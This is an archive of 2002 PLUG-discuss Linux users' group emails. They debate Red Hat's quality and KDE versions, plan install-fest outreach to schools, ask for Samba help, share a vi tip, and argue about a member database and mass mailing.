I have worked with Redhat, Mandrake, = and SuSE and=20 it seems that Redhat lags far behind the competitors.  Try to = install=20 Redhat on a seperate hard disk with Windows XP on the first hard disk in = NTFS=20 format,  Redhat won't even make an entry for Windows XP in = lilo.  I=20 can imagine the panic attack a newbies face after the redhat install and = the=20 only option is Redhat.  LOL  That is of course if you can get = Redhat=20 to install in the first place. It don't like being on a second drive or = on a=20 partiton with windows that's any larger than 8 gigs.
 
SuSE has always installed on any drive = no matter=20 what the size or what drive since version 7.1 = and earlier maybe. =20 This is a serious issue that Redhat needs to address.
 
I dunno,  I just don't see how the = cost of=20 Redhat boxed distro's is justified.  Maybe i'm missing the = point?  Is=20 there anyone out there that can show me the point?
 
 
------=_NextPart_000_0009_01C21D0B.4C6D1C20-- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 17:38:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Thu, 27 Jun 2002 10:38:23 -0700 Subject: (no subject) In-Reply-To: <3D1B01AB.1D1DC61D@georgetoft.com> References: <001b01c21d99$58560770$2f7c0d82@peyote> <3D1B01AB.1D1DC61D@georgetoft.com> Message-ID: <200206271038.23374.zen2now@qwest.net> On Thursday 27 June 2002 05:14 am, George Toft wrote: > When a business person looks at a shift in technology, they must > consider retraining and migration costs. I spend about and hour per day > (less now that we fixed a glaring design error from a Big 5 Consulting > firm that we paid almost 7 figures to) talking with people who are > confused by a statement like this: "Please answer three of the five > questions below." This is demonstrated to me daily as people answer all > five questions. > > There is a substantial difference between you/me, and the average > corporate PC user. Business must take these factors into account when > making migration and upgrade plans. Enlightenment is eye-candy, and not > well suited for a business setting - business needs consistency, > reliability and repeatability. A system that is consistent with what > most people are used to is important. This is all very true and valid, but like i said before i could never see Enlightenment as the main focus of comparisons. In a business enviornment KDE is the most mature choice IMHO, its stable and has great M$ office support. it is what i run on my primary workstation here at work, as we are actively working on migrating users machines over to Linux, and KDE 3.0 is winning over Gnome. But, Install Fests arent totally geared towards business conversions anyway, right? werent they were brought about by the need to help people install Linux, not to sell them on what Desktop enviornment they should use. Enlightenment is total Eye-Candy, but very functional, configurable and stable Eye-Candy when not running on top of Gnome. so yes there is a substantial difference between you/me and the average corporate user. but there are those people who fall into the catagory of you/me that make their way to install fests, and these may people enjoy seeing the many faces of Linux. :~D slr From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 17:35:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Thu, 27 Jun 2002 10:35:30 -0700 Subject: Crappy Products Cost More!! In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B530@mail.int.fh.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B530@mail.int.fh.org> Message-ID: <200206271035.36935.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Thursday 27 June 2002 07:11 am, Tom Achtenberg wrote: > I am a registered user of Red hat. I bought the boxed set for ver 7.2 I > downloaded 7.3 I prefer the KDE desktop. Unfortunately the KDE 3.0 that > is included as part of 7.3 is unstable for Konqueror and Kmail, the two > main applications I want to use. KDE released ver 3.1 several weeks ago. Just for clarification, KDE 3.1 has not been released. Rather it is version 3.0.1. (Note: KDE_3_0_2_RELEASE in CVS as of this week, so expect the release announcement soon.) I also remember an allusion to "K-Mail 3.1" earlier, which I assume was referring to KMail 1.4.1 (the version that comes with 3.0.1). If you are interested in the KDE 3.1 release schedule, it may be found here: http://developer.kde.org/development-versions/kde-3.1-release-plan.html - -- Logan Kennelly ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9G0zmpNoctRtUIRQRAqQmAKCE2zdhfJgWFFVklgyHkwj7bb6lTACeN1jm 5f2zNPQR/Ixau1NJ67Q2b3w= =ojSL -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 18:05:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Thu, 27 Jun 2002 11:05:42 -0700 Subject: Install fest interest generation References: <001a01c21df2$7c11d5f0$0301010a@tickticker.com> <20020627094623.5d77cc96.mlowman@firstlinux.net> Message-ID: <008801c21e05$407144f0$0301010a@tickticker.com> i learned assembly and pascal in HS in michigan..... ----- Original Message ----- From: "Michelle Lowman" To: Sent: Thursday, June 27, 2002 9:46 AM Subject: Re: Install fest interest generation > Many of my Linux students are school tech coordinators (they're all in KS, tho). I'll keep this in mind and see if I can contact some local tech coordinators and MS/HS computer teachers. (BTW, we learned BASIC and PASCAL in HS in Beloit, KS; now they learn Word and Excel -- bummer.) > > Michelle Lowman > > On Thu, 27 Jun 2002 09:25:22 -0700 (MST) > Tom Emerson wrote: > > > High Schools and the Junior/Middle Schools too. Be nice to spark an > > interest at the Middle School level. > > > > Reaching back in memory, middle school, we had access to the County's > > PDP11 via a decwriter & acoustic coupler. We were Gods! (Then high > > school, and punch cards, what a let-down.) My son's computer education > > isn't too bad, but is limited to very basic office app's (M$). Next > > upgrade of hardware, dude's getting a Suse (current box is a souped up > > '486 with w'95, I dread attempting a modern X on it and it's 14" > > monitor). > > > > Anyway, back from memory lane, geeks & engineers are born, not made, > > there _will_ be an interest at the middle school level. > > > > - tom e. > > ---------- > > > > On Thu, 27 Jun 2002, tickticker wrote: > > > > How about advertising the Installfest in the local school systems? The > > local high schools are probably full of the curious. And students like > > free:-) > > > > It wouldn't take much get the message out to the schools, perhaps posting it > > in the computer labs. then again, IANAE (I am not an educator) but some on > > this list are. > > > > anthony > > > > ----- Original Message ----- > > From: "Jim" > > To: > > Sent: Wednesday, June 26, 2002 6:47 PM > > Subject: Re: (no subject) > > > > > > > -----BEGIN PGP SIGNED MESSAGE----- > > > Hash: SHA1 > > > > > > Install Fests generally attract the curious and the convinced. They are > > > either convinced that they want to switch to Linux or they are curious. > > They > > > are also usually Joe Sixpack types who are getting on the clue train or > > > geeks-in-training who know that there is a lot of fun under the hood. Not > > too > > > many suits show up. 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________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > > post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > - -- > > > Jim > > > > > > Freedom is worth protecting > > > > > > -----BEGIN PGP SIGNATURE----- > > > Version: PGP 6.5.8 > > > > > > iQA/AwUBPRpuwisk3ywszI1FEQJ/KACgvsXTGKvsLWy4ACLReiIptTCJmfgAoMc7 > > > pGSiwO1XtT/Q8RCR0ZCtpzwU > > > =JDmD > > > -----END PGP SIGNATURE----- > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 18:13:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: Thu, 27 Jun 2002 14:13:54 -0400 Subject: Samba Help?? Message-ID: <20020627181354.QGVM8234.lakemtao06.cox.net@smtp.central.cox.net> I let some Window users talk me into rebooting my Linux box to try to fix a problem now my Samba is fubared. I've restarted /usr/bin/smbd and /usr/bin/nmbd but now I can't see any of the window boxes on the network anyone have any ideas? Carl P. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 18:08:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Thu, 27 Jun 2002 11:08:13 -0700 Subject: Crappy Products Cost More!! Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B535@mail.int.fh.org> I stand corrected on my versioning. It still stands that Red Hat has yet to put the 3.0.1 updates which do include fixes to Kmail and Konqueror on up2date. And they refuse to provide Red Hat rpm's of KDE for the ftp sites. -----Original Message----- From: Logan Kennelly [mailto:voltage_spike@fastmail.fm] Sent: Thursday, June 27, 2002 10:36 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Crappy Products Cost More!! -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Thursday 27 June 2002 07:11 am, Tom Achtenberg wrote: > I am a registered user of Red hat. I bought the boxed set for ver 7.2 I > downloaded 7.3 I prefer the KDE desktop. Unfortunately the KDE 3.0 that > is included as part of 7.3 is unstable for Konqueror and Kmail, the two > main applications I want to use. KDE released ver 3.1 several weeks ago. Just for clarification, KDE 3.1 has not been released. Rather it is version 3.0.1. (Note: KDE_3_0_2_RELEASE in CVS as of this week, so expect the release announcement soon.) I also remember an allusion to "K-Mail 3.1" earlier, which I assume was referring to KMail 1.4.1 (the version that comes with 3.0.1). If you are interested in the KDE 3.1 release schedule, it may be found here: http://developer.kde.org/development-versions/kde-3.1-release-plan.html - -- Logan Kennelly ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9G0zmpNoctRtUIRQRAqQmAKCE2zdhfJgWFFVklgyHkwj7bb6lTACeN1jm 5f2zNPQR/Ixau1NJ67Q2b3w= =ojSL -----END PGP SIGNATURE----- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 18:25:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Thu, 27 Jun 2002 11:25:29 -0700 Subject: Install fest interest generation Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B536@mail.int.fh.org> When I was in high school in Michigan, we learned how to compute with slide rules. (I still have one too) -----Original Message----- From: tickticker [mailto:tickticker@cox.net] Sent: Thursday, June 27, 2002 11:06 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Install fest interest generation i learned assembly and pascal in HS in michigan..... ----- Original Message ----- From: "Michelle Lowman" To: Sent: Thursday, June 27, 2002 9:46 AM Subject: Re: Install fest interest generation > Many of my Linux students are school tech coordinators (they're all in KS, tho). I'll keep this in mind and see if I can contact some local tech coordinators and MS/HS computer teachers. (BTW, we learned BASIC and PASCAL in HS in Beloit, KS; now they learn Word and Excel -- bummer.) > > Michelle Lowman > > On Thu, 27 Jun 2002 09:25:22 -0700 (MST) > Tom Emerson wrote: > > > High Schools and the Junior/Middle Schools too. Be nice to spark an > > interest at the Middle School level. > > > > Reaching back in memory, middle school, we had access to the County's > > PDP11 via a decwriter & acoustic coupler. We were Gods! (Then high > > school, and punch cards, what a let-down.) My son's computer education > > isn't too bad, but is limited to very basic office app's (M$). Next > > upgrade of hardware, dude's getting a Suse (current box is a souped up > > '486 with w'95, I dread attempting a modern X on it and it's 14" > > monitor). > > > > Anyway, back from memory lane, geeks & engineers are born, not made, > > there _will_ be an interest at the middle school level. > > > > - tom e. > > ---------- > > > > On Thu, 27 Jun 2002, tickticker wrote: > > > > How about advertising the Installfest in the local school systems? The > > local high schools are probably full of the curious. And students like > > free:-) > > > > It wouldn't take much get the message out to the schools, perhaps posting it > > in the computer labs. then again, IANAE (I am not an educator) but some on > > this list are. > > > > anthony > > > > ----- Original Message ----- > > From: "Jim" > > To: > > Sent: Wednesday, June 26, 2002 6:47 PM > > Subject: Re: (no subject) > > > > > > > -----BEGIN PGP SIGNED MESSAGE----- > > > Hash: SHA1 > > > > > > Install Fests generally attract the curious and the convinced. They are > > > either convinced that they want to switch to Linux or they are curious. > > They > > > are also usually Joe Sixpack types who are getting on the clue train or > > > geeks-in-training who know that there is a lot of fun under the hood. Not > > too > > > many suits show up. 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PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 18:35:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Thu, 27 Jun 2002 11:35:14 -0700 Subject: Membership database In-Reply-To: <5.1.0.14.0.20020626203832.025352a0@localhost> References: <5.1.0.14.0.20020626163527.00a52ec0@localhost> <5.1.0.14.0.20020626203832.025352a0@localhost> Message-ID: <02062711351412.07972@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 My thoughts on a member database. I think it is a great idea. As of right now, we have little information about who is subscribed to any of the mailing lists, other than their mail address. Some people might consider that a "good thing". Any membership information should be gathered voluntarily. We should not require anyone to add information to the database. We should warn them that we will collect at least the email address that they are using to subscribe to a list for the membership database. We do, after all, consider anyone subscribed to any of our mail lists as a PLUG member (makes our numbers look really great). I bet we could get Brian to capture a snapshot of the current subscribers' email addresses from Mailman. We could them mass-email all subscribers pointing them to a yet-to-be built web page with a form to fill out as much or as little information as they want in the database. I bet we could even set up a mechanism to send new subscribers to get sent there automatically. Probably should set up a way to delete data when someone unsubscribes. This is tougher because a person may be subscribed to all the lists but only be unsubscribing from one or two. As far a web space for members, how much space do we have available that we can use for members' pages? It is one thing to search the database and display data about one member, but it will take a lot more space if we set aside even 1M of space for every member. It will take some resources for the database web page that collects the data and for the database and for the scripts that need to be written. It will take more space to search and display routines based on criteria input (sounds like a job for our PhP gurus). All in all, I consider this a great project. It would be even greater if we release all the tools after it is done. I am almost surprised that another UG has not done something like this already. So what do we need in terms of hardware, software, and manpower? Who is gonna organize it? How many members would be interested in participating? - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRta4isk3ywszI1FEQKgpQCeNUk3KndK5/aslwBtPG42kFb6JUYAnR1t qR5NkSwamOTOgLRJ+rIAeJDg =XeNW -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 18:47:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Thu, 27 Jun 2002 11:47:39 -0700 Subject: Samba Help?? In-Reply-To: <20020627181354.QGVM8234.lakemtao06.cox.net@smtp.central.cox.net> References: <20020627181354.QGVM8234.lakemtao06.cox.net@smtp.central.cox.net> Message-ID: <02062711473913.07972@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 HEY! Anyone know why Carl didnt have a Mozilla 1.0 party? Its never too late, Carl ::grin:: On Thursday 27 June 2002 11:13, you wrote: > I let some Window users talk me into rebooting my Linux box to try to fix a > problem now my Samba is fubared. I've restarted /usr/bin/smbd and > /usr/bin/nmbd but now I can't see any of the window boxes on the network > anyone have any ideas? > > > Carl P. > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRtdyysk3ywszI1FEQL9HQCgppybd32W54WcoXxuujTln+uQYZkAoOu6 NO8W5AXnnLvebNqFIB23wcY1 =d6FU -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 19:33:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alpha Zenon Sanchez) Date: Thu, 27 Jun 2002 12:33:18 -0700 (PDT) Subject: Crappy Products Cost More!! Message-ID: <20020627193318.32149.qmail@web10605.mail.yahoo.com> I'll have to agree with Tom. When I first purchased Red Hat 7.2, I registered as a user for their 'free' tech support for 30 days. I didn't fell right paying for Linux, but thought the 30-day support would be worth it (I'm new Linux user). When I had problems with my CD-ROM, I went to their web-site for answers. I logged into the members section for answers, but kept on getting 'page cannot be displayed' errors. I was assuming their user's on-line system was down. However, this persisted for a couple of days. I then stumbled upon this group. Got help...and got help quick! I'm not too loyal to Red Hat, and someday, I'll try another distribution. But for now, my machine runs great (thanks to all of you). ===== Thanks, Alpha Zenon Sanchez __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 20:45:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Thu, 27 Jun 2002 13:45:33 -0700 (MST) Subject: Membership database In-Reply-To: <02062711351412.07972@nova.wedge.org> Message-ID: Am 27. Jun, 2002 schwätzte Jim so: I stand undecided on the database. A few of us are starting something like that for consulting anyway... > email addresses from Mailman. We could them mass-email all subscribers > pointing them to a yet-to-be built web page with a form to fill out as much SPAM, regardless of the cause, is *BAD*!!! We should not mass-email anyone. If the database project gets done we will have plenty of advertising via the web site and normal discussion on the mailing lists. No need to SPAM people. We would also be able to gently use the announce list. ciao, der.hans -- # https://www.LuftHans.com/ # Keine Ahnung, was ich dir sagen soll, # keine Ahnung und keinen (.)plan. -- die Toten Hosen From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 20:27:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Greg) Date: Thu, 27 Jun 2002 13:27:13 -0700 Subject: scripts in vi References: Message-ID: <3D1B7521.4010104@ttiltd.com> thanks. This did it. Greg G.D.Thurman wrote: >On Thu, 27 Jun 2002, Greg wrote: > > > >>For example a script that would insert a date into a document. >> >> >> >+ Press ESC (i.e. make sure 'vi' is not in an insert-mode) >+ Go to the spot in your file where you want to insert > the output of a command. >+ Execute the command using the 'r'ead command as follows... > >:r !date > >Example: > >I'm using 'vi' right now at >Thu Jun 27 10:08:49 MST 2002 > >--- > >What is :r !date ? > >Enter into colon : mode (also know as 'ed' mode) >and execute the 'r'ead command followed by ! and >then a command-line. > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > -- Greg ------------------------------------------------------ "Zycie przestalo byc sztuka i Stalo sie sztuczka cyrkowa." - Edward Stachura From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 20:28:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 27 Jun 2002 13:28:01 -0700 Subject: Crappy Products Cost More!! In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B535@mail.int.fh.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B535@mail.int.fh.org> Message-ID: <1025209681.14660.2.camel@barney.azapple.com> On Thu, 2002-06-27 at 11:08, Tom Achtenberg wrote: > I stand corrected on my versioning. It still stands that Red Hat has yet to put the 3.0.1 updates which do include fixes to Kmail and Konqueror on up2date. And they refuse to provide Red Hat rpm's of KDE for the ftp sites. > ----- According to Bernard Rosenkranz (bero@redhat.de and builder of the rpm's for KDE / Redhat) the version included with 7.3 was a cvs snapshot incorporating 70 - 80% of what was the final 3.01 and he feels that there is little reason to update at this juncture. But of course, you can rant on. Craig From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 20:31:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 27 Jun 2002 13:31:17 -0700 Subject: Crappy Products Cost More!! In-Reply-To: <20020627193318.32149.qmail@web10605.mail.yahoo.com> References: <20020627193318.32149.qmail@web10605.mail.yahoo.com> Message-ID: <1025209877.14660.5.camel@barney.azapple.com> On Thu, 2002-06-27 at 12:33, Alpha Zenon Sanchez wrote: > I'll have to agree with Tom. When I first purchased > Red Hat 7.2, I registered as a user for their 'free' > tech support for 30 days. I didn't fell right paying > for Linux, but thought the 30-day support would be > worth it (I'm new Linux user). > > When I had problems with my CD-ROM, I went to their > web-site for answers. I logged into the members > section > for answers, but kept on getting 'page cannot be > displayed' errors. I was assuming their user's > on-line > system was down. > > However, this persisted for a couple of days. I then > stumbled upon this group. Got help...and got help > quick! > > I'm not too loyal to Red Hat, and someday, I'll try > another distribution. But for now, my machine runs > great (thanks to all of you). > --- IIRC, Konqueror (at least as supplied by redhat) defaulted on a new install to java/javascript off and that would cause some sites not to work. Craig From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 20:26:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Thu, 27 Jun 2002 13:26:56 -0700 Subject: Install fest interest generation References: <4A8DFDA6B395D411A11B00508BEE23FE76B536@mail.int.fh.org> Message-ID: <000a01c21e18$fbd083b0$0301010a@tickticker.com> was that state of the art U.P. technology? :-) anthony ----- Original Message ----- From: "Tom Achtenberg" To: Sent: Thursday, June 27, 2002 11:25 AM Subject: RE: Install fest interest generation > When I was in high school in Michigan, we learned how to compute with slide rules. (I still have one too) > > -----Original Message----- > From: tickticker [mailto:tickticker@cox.net] > Sent: Thursday, June 27, 2002 11:06 AM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Install fest interest generation > > > i learned assembly and pascal in HS in michigan..... > > > ----- Original Message ----- > From: "Michelle Lowman" > To: > Sent: Thursday, June 27, 2002 9:46 AM > Subject: Re: Install fest interest generation > > > > Many of my Linux students are school tech coordinators (they're all in KS, > tho). I'll keep this in mind and see if I can contact some local tech > coordinators and MS/HS computer teachers. (BTW, we learned BASIC and PASCAL > in HS in Beloit, KS; now they learn Word and Excel -- bummer.) > > > > Michelle Lowman > > > > On Thu, 27 Jun 2002 09:25:22 -0700 (MST) > > Tom Emerson wrote: > > > > > High Schools and the Junior/Middle Schools too. Be nice to spark an > > > interest at the Middle School level. > > > > > > Reaching back in memory, middle school, we had access to the County's > > > PDP11 via a decwriter & acoustic coupler. We were Gods! (Then high > > > school, and punch cards, what a let-down.) My son's computer education > > > isn't too bad, but is limited to very basic office app's (M$). Next > > > upgrade of hardware, dude's getting a Suse (current box is a souped up > > > '486 with w'95, I dread attempting a modern X on it and it's 14" > > > monitor). > > > > > > Anyway, back from memory lane, geeks & engineers are born, not made, > > > there _will_ be an interest at the middle school level. > > > > > > - tom e. > > > ---------- > > > > > > On Thu, 27 Jun 2002, tickticker wrote: > > > > > > How about advertising the Installfest in the local school systems? The > > > local high schools are probably full of the curious. And students like > > > free:-) > > > > > > It wouldn't take much get the message out to the schools, perhaps > posting it > > > in the computer labs. then again, IANAE (I am not an educator) but some > on > > > this list are. > > > > > > anthony > > > > > > ----- Original Message ----- > > > From: "Jim" > > > To: > > > Sent: Wednesday, June 26, 2002 6:47 PM > > > Subject: Re: (no subject) > > > > > > > > > > -----BEGIN PGP SIGNED MESSAGE----- > > > > Hash: SHA1 > > > > > > > > Install Fests generally attract the curious and the convinced. They > are > > > > either convinced that they want to switch to Linux or they are > curious. > > > They > > > > are also usually Joe Sixpack types who are getting on the clue train > or > > > > geeks-in-training who know that there is a lot of fun under the hood. > Not > > > too > > > > many suits show up. That is another project in itself. > > > > > > > > If we could wangle out way into one of the many computer shows at the > > > Civic > > > > Plaza, those suits and their minions do like to be impressed by the > power, > > > > stability, and performance of the kinds of apps that they license and > use > > > on > > > > a daily basis > > > > > > > > On Wednesday 26 June 2002 18:05, you wrote: > > > > >
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Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B539@mail.int.fh.org> Would you settle for a product that is 70 to 80% complete? How about if they left off one tire on your car? Bernard's attitude is a horrible example of bad customer service. (If what you report is accurate.) -----Original Message----- From: Craig White [mailto:craigwhite@azapple.com] Sent: Thursday, June 27, 2002 1:28 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: RE: Crappy Products Cost More!! On Thu, 2002-06-27 at 11:08, Tom Achtenberg wrote: > I stand corrected on my versioning. It still stands that Red Hat has yet to put the 3.0.1 updates which do include fixes to Kmail and Konqueror on up2date. And they refuse to provide Red Hat rpm's of KDE for the ftp sites. > ----- According to Bernard Rosenkranz (bero@redhat.de and builder of the rpm's for KDE / Redhat) the version included with 7.3 was a cvs snapshot incorporating 70 - 80% of what was the final 3.01 and he feels that there is little reason to update at this juncture. But of course, you can rant on. Craig ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 21:00:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Thu, 27 Jun 2002 14:00:30 -0700 Subject: Crappy Products Cost More!! Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B53A@mail.int.fh.org> For what it is worth, I have never been able to get Konqueror any version to work on a Java site. And yes I have it enabled and installed. Netscape and Mozilla both work on those sites. -----Original Message----- From: Craig White [mailto:craigwhite@azapple.com] Sent: Thursday, June 27, 2002 1:31 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: RE: Crappy Products Cost More!! On Thu, 2002-06-27 at 12:33, Alpha Zenon Sanchez wrote: > I'll have to agree with Tom. When I first purchased > Red Hat 7.2, I registered as a user for their 'free' > tech support for 30 days. I didn't fell right paying > for Linux, but thought the 30-day support would be > worth it (I'm new Linux user). > > When I had problems with my CD-ROM, I went to their > web-site for answers. I logged into the members > section > for answers, but kept on getting 'page cannot be > displayed' errors. I was assuming their user's > on-line > system was down. > > However, this persisted for a couple of days. I then > stumbled upon this group. Got help...and got help > quick! > > I'm not too loyal to Red Hat, and someday, I'll try > another distribution. But for now, my machine runs > great (thanks to all of you). > --- IIRC, Konqueror (at least as supplied by redhat) defaulted on a new install to java/javascript off and that would cause some sites not to work. Craig ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 21:01:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Thu, 27 Jun 2002 14:01:32 -0700 Subject: Install fest interest generation Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B53B@mail.int.fh.org> Naw, I'm not a YouPer -----Original Message----- From: tickticker [mailto:tickticker@cox.net] Sent: Thursday, June 27, 2002 1:27 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Install fest interest generation was that state of the art U.P. technology? :-) anthony ----- Original Message ----- From: "Tom Achtenberg" To: Sent: Thursday, June 27, 2002 11:25 AM Subject: RE: Install fest interest generation > When I was in high school in Michigan, we learned how to compute with slide rules. (I still have one too) > > -----Original Message----- > From: tickticker [mailto:tickticker@cox.net] > Sent: Thursday, June 27, 2002 11:06 AM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Install fest interest generation > > > i learned assembly and pascal in HS in michigan..... > > > ----- Original Message ----- > From: "Michelle Lowman" > To: > Sent: Thursday, June 27, 2002 9:46 AM > Subject: Re: Install fest interest generation > > > > Many of my Linux students are school tech coordinators (they're all in KS, > tho). I'll keep this in mind and see if I can contact some local tech > coordinators and MS/HS computer teachers. (BTW, we learned BASIC and PASCAL > in HS in Beloit, KS; now they learn Word and Excel -- bummer.) > > > > Michelle Lowman > > > > On Thu, 27 Jun 2002 09:25:22 -0700 (MST) > > Tom Emerson wrote: > > > > > High Schools and the Junior/Middle Schools too. Be nice to spark an > > > interest at the Middle School level. > > > > > > Reaching back in memory, middle school, we had access to the County's > > > PDP11 via a decwriter & acoustic coupler. We were Gods! (Then high > > > school, and punch cards, what a let-down.) My son's computer education > > > isn't too bad, but is limited to very basic office app's (M$). Next > > > upgrade of hardware, dude's getting a Suse (current box is a souped up > > > '486 with w'95, I dread attempting a modern X on it and it's 14" > > > monitor). > > > > > > Anyway, back from memory lane, geeks & engineers are born, not made, > > > there _will_ be an interest at the middle school level. > > > > > > - tom e. > > > ---------- > > > > > > On Thu, 27 Jun 2002, tickticker wrote: > > > > > > How about advertising the Installfest in the local school systems? The > > > local high schools are probably full of the curious. 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PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 21:07:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Thu, 27 Jun 2002 16:07:10 -0500 (CDT) Subject: Membership database In-Reply-To: Message-ID: > SPAM, regardless of the cause, is *BAD*!!! We should not mass-email anyone. I disagree. Unsolicted SPAM is pure evil. Solicted SPAM is certainly acceptable. There are many companies I deal with that I request their SPAM because its valuable to me (discounts, special events, promotions etc) and I know they dont abuse me. Other people I do business with I woudl never give them my information or if I did I certainly would opt in for them to send me anything. My two cents. -Derek From 